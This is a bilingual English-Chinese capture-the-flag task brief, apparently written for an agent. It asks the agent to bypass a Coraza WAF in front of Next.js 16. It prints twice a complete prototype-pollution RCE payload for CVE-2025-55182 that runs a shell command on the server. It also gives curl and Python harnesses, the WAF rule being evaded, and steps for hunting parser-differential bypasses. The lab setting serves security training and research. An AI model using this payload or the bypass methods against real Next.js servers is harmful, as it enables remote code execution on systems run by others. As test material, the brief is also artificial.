waf-bypass-hunter

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

WAF Bypass Hunter

WAF绕过猎手

Objective

目标

Bypass the WAF to execute the CVE-2025-55182 exploit payload and capture the flag.
绕过WAF以执行CVE-2025-55182漏洞利用payload并获取flag。

Architecture

架构

┌─────────┐    ┌─────────────┐    ┌─────────────────┐
│  Agent  │───▶│ Coraza WAF  │───▶│ Next.js 16.0.6  │
│         │    │ (Go)        │    │ (Node.js)       │
│         │    │ Port: 9091  │    │ Port: 3000      │
└─────────┘    └─────────────┘    └─────────────────┘
┌─────────┐    ┌─────────────┐    ┌─────────────────┐
│  Agent  │───▶│ Coraza WAF  │───▶│ Next.js 16.0.6  │
│         │    │ (Go)        │    │ (Node.js)       │
│         │    │ Port: 9091  │    │ Port: 3000      │
└─────────┘    └─────────────┘    └─────────────────┘

The Exploit (CVE-2025-55182)

漏洞利用(CVE-2025-55182)

This payload triggers RCE in Next.js 16 via prototype pollution:
http
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489

--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"

"$@0"
--yyy--
This payload is BLOCKED by the WAF because it contains:
  • :constructor
  • __proto__
该payload通过原型污染在Next.js 16中触发远程代码执行(RCE):
http
POST / HTTP/1.1
Host: localhost:9091
Next-Action: x
Content-Type: multipart/form-data; boundary=yyy
Content-Length: 489

--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('cat /flag.txt').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_formData":{"get":"$1:constructor:constructor"}}}
--yyy
Content-Disposition: form-data; name="1"

"$@0"
--yyy--
该payload被WAF拦截,因为它包含:
  • :constructor
  • __proto__

Your Goal

你的目标

Find as many WAF bypasses as possible. There are approximately 5 different bypass techniques that work.
For each bypass, deliver the payload such that:
  1. Bypasses WAF detection - WAF doesn't see the blocked patterns
  2. Backend parses correctly - Next.js/Busboy decodes and processes it
  3. Triggers the exploit - RCE executes and returns the flag
Each bypass exploits a different parser differential between Go and Node.js.
找到尽可能多的WAF绕过方法。大约有5种不同的有效绕过技术
对于每种绕过方法,提交的payload需要满足:
  1. 绕过WAF检测 - WAF无法识别到被拦截的特征
  2. 后端正确解析 - Next.js/Busboy能解码并处理该payload
  3. 触发漏洞利用 - 成功执行远程代码执行(RCE)并返回flag
每种绕过方法都利用了Go与Node.js之间的不同解析差异。

Testing Method

测试方法

Quick PoC Testing (Direct to WAF)

快速PoC测试(直接针对WAF)

Use curl or Python directly against the WAF at
http://localhost:9091/
:
bash
curl --path-as-is -i -s -k -X POST \
    -H 'Host: localhost' \
    -H 'Next-Action: x' \
    -H 'Content-Type: multipart/form-data; boundary=yyy' \
    --data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
    'http://localhost:9091/'
python
import requests

resp = requests.post(
    "http://localhost:9091/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect"))  # Flag is here!
print(resp.text)
Note: The flag appears in the
X-Action-Redirect
response header, not the body!
使用curl或Python直接向位于
http://localhost:9091/
的WAF发送请求:
bash
curl --path-as-is -i -s -k -X POST \
    -H 'Host: localhost' \
    -H 'Next-Action: x' \
    -H 'Content-Type: multipart/form-data; boundary=yyy' \
    --data-binary $'--yyy\r\nContent-Disposition: form-data; name="0"\r\n\r\nYOUR_PAYLOAD_HERE\r\n--yyy--' \
    'http://localhost:9091/'
python
import requests

resp = requests.post(
    "http://localhost:9091/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)
print(resp.headers.get("X-Action-Redirect"))  # Flag在此处!
print(resp.text)
注意: flag出现在响应头
X-Action-Redirect
中,而非响应体!

Debugging (Sandbox Executor)

调试(沙箱执行器)

Use the executor only when you need WAF logs to understand why a request was blocked:
bash
curl -X POST http://localhost:8009/execute \
  -H "Content-Type: application/json" \
  -d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'
Response includes WAF logs:
json
{
  "stdout": "403",
  "stderr": "",
  "waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
  "execution_time_ms": 123
}
仅当你需要WAF日志来理解请求被拦截的原因时,才使用该执行器:
bash
curl -X POST http://localhost:8009/execute \
  -H "Content-Type: application/json" \
  -d '{"code": "import requests\nresp = requests.post(\"http://localhost:9091/\", ...)\nprint(resp.status_code)"}'
响应包含WAF日志:
json
{
  "stdout": "403",
  "stderr": "",
  "waf_logs": ["[BLOCKED] Rule 1008: Prototype Pollution detected"],
  "execution_time_ms": 123
}

Example: Blocked Request

示例:被拦截的请求

python
import requests

payload = '''--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''

resp = requests.post(
    "http://waf:9090/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)  # 403 - Blocked by WAF
print(resp.text)
python
import requests

payload = '''--yyy
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","_response":{"_formData":{"get":"$1:constructor:constructor"}}}
--yyy--'''

resp = requests.post(
    "http://waf:9090/",
    headers={
        "Content-Type": "multipart/form-data; boundary=yyy",
        "Next-Action": "x"
    },
    data=payload
)
print(resp.status_code)  # 403 - 被WAF拦截
print(resp.text)

Available Source Code

可用源代码

Study parser implementations in
sources/
:
  • sources/coraza/internal/bodyprocessors/
    - WAF's parser (Go)
  • sources/busboy/lib/
    - Backend's parser (Node.js)
  • sources/nextjs/packages/next/src/server/
    - Next.js server action handling
研究
sources/
目录下的解析器实现:
  • sources/coraza/internal/bodyprocessors/
    - WAF的解析器(Go)
  • sources/busboy/lib/
    - 后端的解析器(Node.js)
  • sources/nextjs/packages/next/src/server/
    - Next.js服务器动作处理逻辑

Success Criteria

成功标准

IMPORTANT: A bypass is ONLY valid if the flag is successfully read.
Hypothetical or theoretical bypasses do NOT count. You must:
  1. Execute the payload against the WAF
  2. Receive the flag in the response
  3. Show the captured flag as proof
For each confirmed bypass:
  • Document the technique used
  • Show the exact working payload
  • Show the captured flag
The flag may appear in:
  • Response headers (e.g.,
    X-Action-Redirect
    )
  • Response body
  • Error messages
The flag format is
HACKTRON{...}
重要提示:只有成功读取到flag,绕过方法才被视为有效。
假设的或理论上的绕过方法不算数。你必须:
  1. 向WAF提交payload
  2. 在响应中获取到flag
  3. 展示捕获到的flag作为证明
对于每个已确认的绕过方法:
  • 记录所使用的技术
  • 展示完整的可用payload
  • 展示捕获到的flag
flag可能出现在:
  • 响应头中(例如
    X-Action-Redirect
  • 响应体中
  • 错误信息中
flag格式为
HACKTRON{...}

WAF Rules (what you're bypassing)

WAF规则(你需要绕过的规则)

conf
undefined
conf
undefined

Block prototype pollution patterns

拦截原型污染特征

SecRule REQUEST_BODY|ARGS "@rx (?:proto|:constructor)" "id:1008,deny"
undefined
SecRule REQUEST_BODY|ARGS "@rx (?:proto|:constructor)" "id:1008,deny"
undefined

Approach

实施步骤

  1. Analyze source code in
    sources/
  2. Identify where Go and Node.js parse differently
  3. Craft payload that exploits the differential
  4. Test PoC directly against WAF at
    localhost:9091
  5. If blocked, use executor to get WAF logs and understand why
  6. Iterate until flag is captured
  7. If a technique doesn't work, move on - read more code, look for alternative differentials
  8. Keep hunting - find more bypasses using different techniques!
  1. 研究
    sources/
    目录下的源代码
  2. 找出Go与Node.js之间的解析差异
  3. 构造利用该差异的payload
  4. 直接向
    localhost:9091
    的WAF提交PoC进行测试
  5. 如果被拦截,使用执行器获取WAF日志并理解原因
  6. 反复尝试直到捕获到flag
  7. 如果某种技术无效,立即转向其他方法 - 阅读更多代码,寻找其他解析差异
  8. 持续探索 - 使用不同技术找到更多绕过方法!